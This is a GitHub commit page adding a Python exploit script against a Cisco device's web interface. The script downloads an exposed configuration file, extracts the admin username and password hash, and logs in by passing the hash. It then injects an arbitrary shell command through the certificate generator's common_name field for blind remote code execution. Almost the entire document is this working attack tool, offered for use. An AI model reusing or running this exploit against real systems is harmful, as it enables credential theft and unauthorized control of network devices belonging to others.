-
Notifications
You must be signed in to change notification settings - Fork 65
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Commit fully remote exploit that does PtH attack
- Loading branch information
Showing
1 changed file
with
138 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,138 @@ | ||
#!/usr/bin/python | ||
# coding: utf-8 | ||
# includes pass the hash ;) | ||
# basically we take the hash from the config we stole earlier | ||
# and pass it without actually cracking it | ||
import argparse | ||
import requests | ||
import sys | ||
# nuke https warnings... | ||
from requests.packages.urllib3.exceptions import InsecureRequestWarning | ||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning) | ||
# fucking regex | ||
import re | ||
import hashlib | ||
|
||
def extract_auth_key(session, base_url): | ||
r = session.get(base_url, verify=False) | ||
auth_key = re.findall('"auth_key" value="(.*?)">', r.text) | ||
if len(auth_key): | ||
return auth_key[0] | ||
else: | ||
return None | ||
|
||
def cisco_login(host, port, ssl, username, password): | ||
s = requests.Session() | ||
if ssl == True: | ||
base_url = "https://%s:%s/" %(host, port) | ||
else: | ||
base_url = "https://%s:%s/" %(host, port) | ||
login_url = "%scgi-bin/userLogin.cgi" %(base_url) | ||
print "{+} Sending request to %s to extract auth key..." %(base_url) | ||
auth_key = extract_auth_key(session=s, base_url=base_url) | ||
if auth_key != None: | ||
print "{*} Got auth_key value: %s" %(auth_key) | ||
else: | ||
print "{*} auth_key extraction failed. Using 1964300002 anyway" | ||
auth_key = "1964300002" # this seems to be a default on some? | ||
# now we do the login | ||
post_data = {"auth_key": auth_key, | ||
"auth_server_pw": "Y2lzY28=", | ||
"changelanguage": "", | ||
"current_password": "", | ||
"langName": "ENGLISH,Deutsch,Espanol,Francais,Italiano", | ||
"LanguageList": "ENGLISH", | ||
"login": "true", | ||
"md5_old_pass": "", | ||
"new_password": "", | ||
"password": password, | ||
"password_expired": 0, | ||
"pdStrength": 0, | ||
"portalname": "CommonPortal", | ||
"re_new_password": "", | ||
"submitStatus": 0, | ||
"username": username} # this is batshit and it won't work without all these vars?! | ||
login = s.post(url=login_url, data=post_data, verify=False) | ||
if "URL=/default.htm" in login.text: | ||
print "{+} Login Successful, we can proceed!" | ||
return base_url, s # return the base url and session... | ||
else: | ||
sys.exit("{!} Login Failed, quitting time loser :(") | ||
|
||
def pwn(base_url, session, command): | ||
print "{+} Ok, now to run your command: %s" %(command) | ||
print "{+} We don't get output so... Yeah. Shits blind." | ||
target_url = "%scertificate_handle2.htm?type=4" %(base_url) | ||
payload = "a'$(%s)'b" %(command) | ||
post_data = {"page": "self_generator.htm", | ||
"totalRules": 1, | ||
"OpenVPNRules": 30, | ||
"submitStatus": 1, | ||
"log_ch": 1, | ||
"type": 4, | ||
"Country": "A", | ||
"state": "A", | ||
"locality": "A", | ||
"organization": "A", | ||
"organization_unit": "A", | ||
"email": "ab%40example.com", | ||
"KeySize": 512, | ||
"KeyLength": 1024, | ||
"valid_days": 30, | ||
"SelectSubject_c": 1, | ||
"SelectSubject_s": 1, | ||
"common_name": payload} | ||
r= session.post(url=target_url, data=post_data, verify=False) | ||
|
||
def get_config(host, port, ssl): | ||
print "{+} Gonna go grab us a config file..." | ||
if ssl == True: | ||
url = "https://%s:%s/cgi-bin/config.exp" %(host, port) | ||
else: | ||
url = "http://%s:%s/cgi-bin/config.exp" %(host, port) | ||
try: | ||
print "{+} Sending request to %s" %(url) | ||
r = requests.get(url, verify=False) | ||
except Exception, e: | ||
sys.exit("{!} Exception while sending request, printing...\n%s" %(str(e))) | ||
if "sysconfig" in r.text: | ||
print "{*} We seem to have found a valid config!" | ||
return r.text | ||
else: | ||
sys.exit("{-} Config extraction failed. Quitting.") | ||
|
||
def extract_creds(config): | ||
# Here we extract the USER and PASSWD lines to get the username and hash... | ||
print "{+} Extracting Creds..." | ||
username = re.findall('USERNAME=(.*?)\n', config) | ||
if len(username): | ||
username = username[0] | ||
print "{+} Got user: %s" %(username) | ||
else: | ||
sys.exit("{-} No user? What the fuck is this?") | ||
password = re.findall('PASSWD=(.*?)\n', config) | ||
if len(password): | ||
password = password[0] | ||
print "{+} Got password (hash): %s" %(password) | ||
else: | ||
sys.exit("{-} No password? What the fuck is this?") | ||
return username, password | ||
|
||
def main(): | ||
parser = argparse.ArgumentParser() | ||
parser.add_argument('-t', '--target', help="Target host", required=True) | ||
parser.add_argument('-s', '--ssl', action="store_true", default=True, help="Use SSL") | ||
parser.add_argument('-p', '--port', default="443", help="Target port") | ||
parser.add_argument('-c', '--command', default="id", help="Command. You get no output so... Do with it as you see fit.") | ||
# more args to come... | ||
args = parser.parse_args() | ||
# get our config and extract USER and PASSWD parts for pwning | ||
config = get_config(host=args.target, port=args.port, ssl=args.ssl) | ||
username, password = extract_creds(config=config) | ||
# do login stuff... | ||
base_url, session = cisco_login(host=args.target, port=args.port, ssl=args.ssl, username=username, password=password) | ||
# we now have a session object. We can move to the next phase of attack. | ||
pwn(base_url=base_url, session=session, command=args.command) | ||
|
||
if __name__ == "__main__": | ||
main() |